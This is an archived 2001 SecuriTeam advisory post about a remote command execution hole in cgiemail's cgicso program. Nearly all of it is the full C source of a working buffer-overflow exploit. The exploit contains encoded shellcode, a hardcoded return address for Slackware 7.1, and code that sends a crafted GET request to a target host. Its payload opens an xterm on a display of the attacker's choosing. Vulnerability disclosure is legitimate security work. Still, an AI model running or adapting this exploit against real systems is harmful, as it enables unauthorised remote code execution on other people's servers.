[EXPL] CGIEmail's Command Execution Vulnerability (cgicso)

From: support@securiteam.com
Date: 10/03/01 

From: support@securiteam.com
To: list@securiteam.com
Subject: [EXPL] CGIEmail's Command Execution Vulnerability (cgicso)
Message-Id: <20011003002029.008E0138C2@mail.der-keiler.de>
Date: Wed,  3 Oct 2001 02:20:29 +0200 (CEST)

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  CGIEmail's Command Execution Vulnerability (cgicso)
------------------------------------------------------------------------

SUMMARY

A security vulnerability in CGIEmail's cgicso allows attackers to execute
arbitrary commands on the remote server, if the program has been enabled
to allow queries to outside hosts (beside those defined internally in the
cgilibcso.h).

DETAILS

Exploit:
/*
 * cso.c (06/30/01)
 *
 * Remote exploit for cgicso included with cgiemail 1.6
 * Tested on Slackware Linux 7.1 running Apache 1.3.20
 * Spawns an xterm on your display.
 *
 *
 * Note: In order to exploit, cgicso must be compiled with
 * CGI_CSO_HARDCODE undefined, otherwise it will bypass
 * the exploitable portion of code.
 *
 *
 * Exploit By: isox of hhp. (isox@chainsawbeer.com)
 * Site: www.hhp-programming.net && 0xc0ffee.com
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define RET 0xbfffe208 // Slackware 7.1.0
#define LEN 2038
#define PORT 80

char noncode[] =
  "\xeb\x4f\x5e\x31\xd2\x88\x56\x14\x88\x56\x18\x88\x56\x21\xb2\x2b"
  "\x31\xc9\xb1\x09\x80\x3c\x32\x4b\x74\x05\x42\xe2\xf7\xeb\x2b\x88"
  "\x34\x32\x31\xd2\x89\xf3\x89\x76\x36\x8d\x7e\x15\x89\x7e\x3a\x8d"
  "\x7e\x19\x89\x7e\x3e\x8d\x7e\x22\x89\x7e\x42\x89\x56\x46\x8d\x4e"
  "\x36\x8d\x56\x46\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xac\xff\xff\xff"
  "/usr/X11R6/bin/xterm8-ut8-display8127.0.0.1:0K";

char code[] =
  "%eb%4f%5e%31%d2%88%56%14%88%56%18%88%56%21%b2%2b%31%c9%b1%9%80%3c"
  "%32%4b%74%5%42%e2%f7%eb%2b%88%34%32%31%d2%89%f3%89%76%36%8d%7e%15"
  "%89%7e%3a%8d%7e%19%89%7e%3e%8d%7e%22%89%7e%42%89%56%46%8d%4e%36%8d"
  "%56%46%31%c0%b0%b%cd%80%31%db%89%d8%40%cd%80%e8%ac%ff%ff%ff%2f%75"
  "%73%72%2f%58%31%31%52%36%2f%62%69%6e%2f%78%74%65%72%6d%38%2d%75%74"
  "%38%2d%64%69%73%70%6c%61%79%38"
  "%31%32%37%2e%30%2e%30%2e%31" // unicoded IP address
  "%3a%30%4b";

int main(int argc, char *argv[]) {
  char *buf, *p;
  long *addressp, address=RET;
  int i, diff=(strlen(code) - strlen(noncode)), sock, debug=0;
  struct hostent *t;
  struct sockaddr_in s;

  if(argc < 2) {
    fprintf(stderr, "usage: %s <host> [offset [--debug]]\n", argv[0]);
    exit(-1);
  }

  if(argc > 2)
    address -= atoi(argv[2]);

  if(argc > 3) {
    if((!strcmp(argv[3], "--debug")) || (!strcmp(argv[3], "-d")))
      debug = 1;
  }

  fprintf(stderr, "Using Address: 0x%lx\n", address);

  buf = (char *)malloc(44 + LEN + diff + 1);
  p = buf;

  (*p++) = 'G';
  (*p++) = 'E';
  (*p++) = 'T';
  (*p++) = ' ';
  (*p++) = '/';
  (*p++) = 'c';
  (*p++) = 'g';
  (*p++) = 'i';
  (*p++) = '-';
  (*p++) = 'b';
  (*p++) = 'i';
  (*p++) = 'n';
  (*p++) = '/';
  (*p++) = 'c';
  (*p++) = 'g';
  (*p++) = 'i';
  (*p++) = 'c';
  (*p++) = 's';
  (*p++) = 'o';
  (*p++) = '?';
  (*p++) = 'f';
  (*p++) = 'i';
  (*p++) = 'n';
  (*p++) = 'g';
  (*p++) = 'e';
  (*p++) = 'r';
  (*p++) = 'h';
  (*p++) = 'o';
  (*p++) = 's';
  (*p++) = 't';
  (*p++) = '=';
  (*p++) = 'A'; // Yes this should be an A
  (*p++) = '&';
  (*p++) = 'q';
  (*p++) = 'u';
  (*p++) = 'e';
  (*p++) = 'r';
  (*p++) = 'y';
  (*p++) = '=';
  (*p++) = 'A'; // Yes this should be an A
  (*p++) = 'A'; // Yes this should be an A
  (*p++) = 'A'; // Yes this should be an A

  for(i=0; i<strlen(code); i++)
    (*p++) = code[i];

  addressp = (long *)p;

  for(i=0; i<(LEN - strlen(code)) + diff; i+=4)
    (*addressp++) = address;

  strcat(buf, "\n\n");
  fprintf(stderr, "Using length: %d\n", strlen(buf));

/*
 * Connect
 */

  if(s.sin_addr.s_addr=inet_addr(argv[1])) {
    if(!(t=gethostbyname(argv[1]))) {
      printf("Connection Failed.\n");
      exit(-1);
    }

    memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
  }

  s.sin_family=AF_INET;
  s.sin_port=htons(PORT);

  sock=socket(AF_INET,SOCK_STREAM,0);

  if(connect(sock,(struct sockaddr*)&s,sizeof(s))) {
    fprintf(stderr, "Connection failed.\n");
    exit(-1);
  }

  fprintf(stderr, "done.\n");
  fprintf(stderr, "Sending buffer... ");
  send(sock, buf, strlen(buf), 0);
  fprintf(stderr, "done.\n");

  sleep(2);

  if(debug == 1) {
    fprintf(stderr, "Entering Debug Mode... \n");
    initstream(sock);
  }

  close(sock);
  free(buf);
  exit(0);
}

int initstream(int sock) {
  int n;
  char recvbuf[1024];
  fd_set rset;

  while (1) {
    FD_ZERO(&rset);
    FD_SET(sock,&rset);
    FD_SET(STDIN_FILENO,&rset);
    select(sock+1,&rset,NULL,NULL,NULL);

    if (FD_ISSET(sock,&rset)) {
      if((n=read(sock,recvbuf,1024)) <= 0) {
        printf("Connection closed by foreign host.\n");
        exit(0);
      }

      recvbuf[n]=0;
      printf("%s",recvbuf);
    }

    if (FD_ISSET(STDIN_FILENO,&rset)) {
      if((n=read(STDIN_FILENO,recvbuf,1024)) > 0) {
        recvbuf[n]=0;
        write(sock,recvbuf,n);
      }
    }
  }

  return;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:isox@chainsawbeer.com> isox.

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